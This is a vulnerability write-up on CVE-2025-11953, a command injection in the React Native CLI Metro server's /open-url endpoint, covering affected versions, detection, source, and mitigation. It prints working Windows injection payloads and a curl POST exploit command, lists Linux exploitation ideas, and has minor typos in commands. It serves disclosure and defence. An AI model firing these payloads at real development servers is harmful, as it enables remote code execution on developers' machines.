# Native CLI - CVE-2025-11953

The Metro development server (started by `@react-native-community/cli`) binds to external interfaces by default. Its `/open-url` endpoint accepts JSON POST request with a `url` field and passes that value to the `open()` funtion from the `open` npm package. Because `open()` spawns platform-specific OS processes the open the value, a malicious `url` can result in command execution on some platforms.

**Affected**: `@react-native-community/cli` version **4.8.0** --> **20.0.0-alpha.2** **Fixed in**: `20.0.0` and later

Developers who initiated their React Native project with a vulnerable version of @react-native-community/cli, and run the Metro development server via one of the following or similar commands are vulnerable to CVE-2025-11953:

```bash
 npm start
 npm run [start|android|ios|windows|macos]
 npx react-native [start|run-android|run-ios|run-windows|run-macos]
 npx @react-native-community/cli [start|run-android|run-ios|run-windows|run-macos]
```

The vulnerability directly affects the @react-native-community/cli-server-api package, versions 4.8.0 to 20.0.0-alpha.2, and is fixed since version 20.0.0. Here is how to check whether the vulnerable package exists in a specific NodeJS project:

```bash
 cd <Project Folder>
 npm list @react-native-community/cli-server-api
```

The package may also be globally installed on your system, which can be checked by running:

```bash
 npm list -g @react-native-community/cli-server-api
```

### Understanding

The vulnerability is located in the file `packages/cli-server-api/src/openURLMiddleware.ts`.

```ts
import type {IncomingMessage, ServerResponse} from 'http';
import {json} from 'body-parser';
import connect from 'connect';
import open from 'open';

async function openURLMiddleware(
  req: IncomingMessage & {
    // Populated by body-parser
    body?: Object;
  },
  res: ServerResponse,
  next: (err?: Error) => void,
) {
  if (req.method === 'POST') {
    if (req.body == null) {
      res.writeHead(400);
      res.end('Missing request body');
      return;
    }

	// Command Injection Source: 'req.body'
    const {url} = req.body as {url: string};

	// Vulnerability - Command Injection Sink
    await open(url);

    res.writeHead(200);
    res.end();
  }

  next();
}

export default connect().use(json()).use(openURLMiddleware);
```

The `open` npm package spawns a child process to open the URL in the system's default application. Because of this the payload needs to be adapted to the victim host system.

**Windows** On Windows, `open()` ends up using:

```cmd
cmd /c start "" /b <url>
```

Windows is the easiest to exploit and will interpret the payload as a command via `start`. Meaning `open(url)` can almost be seen as `exec(url)` - it's a subtle but very real OS-specific RCE. Example payloads (from a Linux host):

```bash
winCMD='cmd /c echo "CVE-2025-11953" > C:\\Windows\\Temp\\cve-2025-11953.txt'
winPS='powershell -c "Write-Host \"CVE-2025-11953\"; New-Item -Path C:\\Windows\\Temp\\cve-2025-11953.txt -Force"'
winChain='https://exploit.se && calc'

json=($jq -nc --arg u "$winCMD" '{url:$u}')
curl -X POST http://localhost:8081/open-url -H "Content-Type: application/json" -d "$json"
```

**Linux** On Linux, `open()` uses:

```bash
xdb-open <url>
```

This is safer as it **does not run the argument through a shell**. Instead the argument is treated as a file path, or a URI and hand it to the OS/desktop to open with the associated program. Instead to get execution on a Unix-like system you could..

* Point to a local file that the handler will execute.
* Use a `.desktop` file that executes when opened. `xdb-open file:///...` might run it.
* Find another vulnerable handler like `smb://`, `dav://` etc. that causes execution - this is highly environment-dependent.

**macOS** On macOS, `open()` uses:

```bash
open <url>
```

***

## Mitigation

The patched version of the `openURLMiddleware.ts` is found [here](https://github.com/react-native-community/cli/commit/15089907d1f1301b22c72d7f68846a2ef20df547#diff-8bf62a0de79d641bdd1a40ddd8eceb2e878884371350d524d09a0bf7571ac305L1-R56).

* Upgrade to a patched version (>= 20.0.0)
* Use --host 127.0.0.1 to bind only to localhost
* Implement proper input validation and sanitization

***

## References

{% embed url="<https://jfrog.com/blog/cve-2025-11953-critical-react-native-community-cli-vulnerability/>" %}
